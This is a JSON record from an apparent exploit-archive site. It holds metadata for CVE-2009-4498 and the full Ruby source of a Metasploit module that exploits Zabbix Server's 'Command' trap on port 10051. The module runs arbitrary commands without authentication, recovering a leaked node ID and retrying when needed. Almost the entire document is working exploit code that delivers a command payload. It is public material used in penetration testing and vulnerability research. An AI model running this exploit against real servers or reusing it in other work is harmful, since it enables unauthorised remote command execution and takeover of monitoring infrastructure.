{"exploit":{"id":"EDB-20796","name":"Zabbix Server - Arbitrary Command Execution (Metasploit)","description":"Zabbix Server - Arbitrary Command Execution (Metasploit)","cves":["CVE-2009-4498"],"author":"Metasploit","published":"2012-08-27","platform":"linux","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20796","path":"exploits/linux/remote/20796.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20796.rb","vulnerabilities":[{"id":"CVE-2009-4498","state":"PUBLISHED","title":null,"titleSource":null,"description":"The node_process_command function in Zabbix Server before 1.8 allows remote attackers to execute arbitrary commands via a crafted request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4498","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4498"},"updatedAt":"2024-08-07T07:08:36.847Z","retrievedAt":"2026-11-27T13:10:47.583Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20796.png?v=2","url":"https://exploitbin.com/exploits/EDB-20796","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20796/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20796/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# web site for more information on licensing and terms of use.\n#   http://metasploit.com/\n##\n\n\nrequire 'msf/core'\n\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = ExcellentRanking\n\n\tinclude Msf::Exploit::Remote::Tcp\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Zabbix Server Arbitrary Command Execution',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module abuses the \"Command\" trap in Zabbix Server to execute arbitrary\n\t\t\t\tcommands without authentication. By default the Node ID \"0\" is used, if it doesn't\n\t\t\t\twork, the Node ID is leaked from the error message and exploitation retried.\n\n\t\t\t\tAccording to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability\n\t\t\t\thas been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.\n\t\t\t},\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'Nicob <nicob[at]nicob.net>', # Vulnerability discovery\n\t\t\t\t\t'juan vazquez' # Metasploit module\n\t\t\t\t],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2009-4498' ],\n\t\t\t\t\t[ 'OSVDB', '60965' ],\n\t\t\t\t\t[ 'BID', '37989' ],\n\t\t\t\t\t[ 'EDB', '10432' ],\n\t\t\t\t\t[ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]\n\t\t\t\t],\n\t\t\t'Platform'       => ['unix'],\n\t\t\t'Arch'           => ARCH_CMD,\n\t\t\t'Privileged'     => false,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t\t'Compat'      =>\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'PayloadType' => 'cmd',\n\t\t\t\t\t\t\t'RequiredCmd' => 'generic telnet',\n\t\t\t\t\t\t\t# *_perl, *_python and *_ruby work if they are installed\n\t\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Zabbix 1.6.7', { } ]\n\t\t\t\t],\n\t\t\t'DefaultTarget' => 0,\n\t\t\t'DisclosureDate'  => 'Sep 10 2009'\n\t\t))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(10051),\n\t\t\t], self.class)\n\tend\n\n\tdef send_command(sock, node_id, cmd)\n\t\thost_id = Rex::Text.rand_text_numeric(3)\n\t\tmsg = \"Command\\255\"\n\t\tmsg << \"#{node_id}\\255\"\n\t\tmsg << \"#{host_id}\\255\"\n\t\tmsg << \"#{cmd}\\n\"\n\t\tsock.put(msg)\n\t\tres = sock.get_once\n\t\treturn res\n\tend\n\n\tdef check\n\t\tpeer = \"#{rhost}:#{rport}\"\n\t\tnode_id = 0\n\t\tclue = Rex::Text.rand_text_alpha(rand(5)+5)\n\t\tcmd = \"echo #{clue}\"\n\n\t\tconnect\n\t\tprint_status(\"#{peer} - Sending 'Command' request...\")\n\t\tres = send_command(sock, node_id, cmd)\n\t\tdisconnect\n\n\t\tif res\n\t\t\tprint_status(res)\n\t\t\tif res =~ /#{clue}/\n\t\t\t\treturn Exploit::CheckCode::Vulnerable\n\t\t\telsif res =~ /-1/ and res=~ /NODE (\\d*)/\n\t\t\t\tnode_id = $1\n\t\t\t\tprint_good(\"#{peer} - Node ID #{node_id} discovered\")\n\t\t\telse\n\t\t\t\treturn Exploit::CheckCode::Safe\n\t\t\tend\n\t\telse # No response\n\t\t\treturn Exploit::CheckCode::Safe\n\t\tend\n\n\t\t# Retry with the good node_id\n\t\tconnect\n\t\tprint_status(\"#{peer} - Sending 'Command' request with discovered Node ID...\")\n\t\tres = send_command(sock, node_id, cmd)\n\t\tdisconnect\n\t\tif res and res =~ /#{clue}/\n\t\t\treturn Exploit::CheckCode::Vulnerable\n\t\tend\n\t\treturn Exploit::CheckCode::Safe\n\tend\n\n\tdef exploit\n\t\tpeer = \"#{rhost}:#{rport}\"\n\t\tnode_id = 0\n\t\tcmd = payload.encoded\n\n\t\tconnect\n\t\tprint_status(\"#{peer} - Sending 'Command' request...\")\n\t\tres = send_command(sock, node_id, cmd)\n\t\tdisconnect\n\n\t\tif res and res =~ /-1/ and res=~ /NODE (\\d*)/\n\t\t\t# Retry with the good node_id\n\t\t\tnode_id = $1\n\t\t\tprint_good(\"#{peer} - Node ID #{node_id} discovered\")\n\t\t\tconnect\n\t\t\tprint_status(\"#{peer} - Sending 'Command' request with discovered Node ID...\")\n\t\t\tres = send_command(sock, node_id, cmd)\n\t\t\tdisconnect\n\t\tend\n\n\t\t# Read command output from socket if cmd/unix/generic payload was used\n\t\tif (datastore['CMD'])\n\t\t\tif res and res =~ /\\x30\\xad/\n\t\t\t\tprint_good(\"#{peer} - Command executed successfully\")\n\t\t\t\tprint_status(\"Output:\\n#{res.split(\"\\x30\\xad\").last}\")\n\t\t\telse\n\t\t\t\tprint_error(\"#{peer} - Failed to execute the command\")\n\t\t\tend\n\t\tend\n\n\tend\n\nend","sha256":"40889954ba085ff9baeaf748a3169e5bd3168162af11a067d641bc82809740e2","bytes":3793,"fetchedAt":"2026-11-27T13:10:44.815Z","encoding":"utf-8 (display only; download retains original bytes)"}